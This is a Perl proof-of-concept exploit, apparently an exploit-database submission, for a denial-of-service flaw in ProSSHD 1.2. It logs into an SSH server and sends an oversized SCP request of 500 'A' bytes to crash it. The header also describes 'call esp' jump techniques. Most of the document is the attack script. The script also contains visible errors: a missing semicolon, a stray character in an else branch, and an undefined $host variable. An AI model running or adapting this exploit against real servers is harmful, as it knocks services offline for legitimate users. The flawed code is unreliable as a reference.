#!/usr/bin/perl

use Net::SSH2

# Exploit Title: ProSSHD 1.2 20090726 - Denial of Service (DoS)
# Discovery by: Fernando Mengali
# Discovery Date: 13 january 2024
# Vendor Homepage: https://prosshd.com/
# Notification vendor: No reported
# Tested Version: ProSSHD 1.2 20090726
# Tested on: Window XP Professional - Service Pack 2 and 3 - English
# Vulnerability Type: Denial of Service (DoS)

#1. Description

#His technique works fine against Windows XP Professional Service Pack 2 and 3 (English).
#For this exploit I have tried several strategies to increase reliability and performance:
#Jump to a static 'call esp'
#Backwards jump to code a known distance from the stack pointer.
#The server did not properly handle request with large amounts of data to SSH.
#The following request sends a large amount of data to the SSH to process, the server will crash as soon as it is received and processed, causing denial of service conditions.
#Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users.

#2. Proof of Concept - PoC

    $sis="$^O";

    if ($sis eq "windows"){
      $cmd="cls";
    } else {s
      $cmd="clear";
    }

    system("$cmd");
    
    intro();
    main();

print "\t    ==> Connecting to webserver... \n\n";
sleep(1);

my $i=0;
    print "\t    ==> Exploiting... \n\n";

my $payload  = "\x41" x 500;

$connection2 = Net::SSH2->new();
$connection2->connect($host, $port) || die "\nError: Connection Refused!\n";
$connection2->auth_password($username, $password) || die "\nError: Username/Password Denied!\n";
$scpget = $connection2->scp_get($payload);
$connection2->disconnect();

print "\t    ==> Done! Exploited!";
   sub intro {
      print q {

                              ,--,
                       _ ___/ /\|
                   ,;'( )__, )  ~
                  //  //   '--; 
                  '   \     | ^
                       ^    ^

      [+] ProSSHD 1.2 20090726 - Denial of Service (DoS)

      [*] Coded by Fernando Mengali

      [@] e-mail: fernando.mengalli@gmail.com

      }
  }

  sub main {

our ($ip, $port, $username, $password) = @ARGV;

      unless (defined($ip) && defined($port)) {

        print "\n\tUsage: $0 <ip> <port> <username> <password>           \n";
        exit(-1);

      }
  }

#3. Solution/ How to fix:

# This version product is deprecated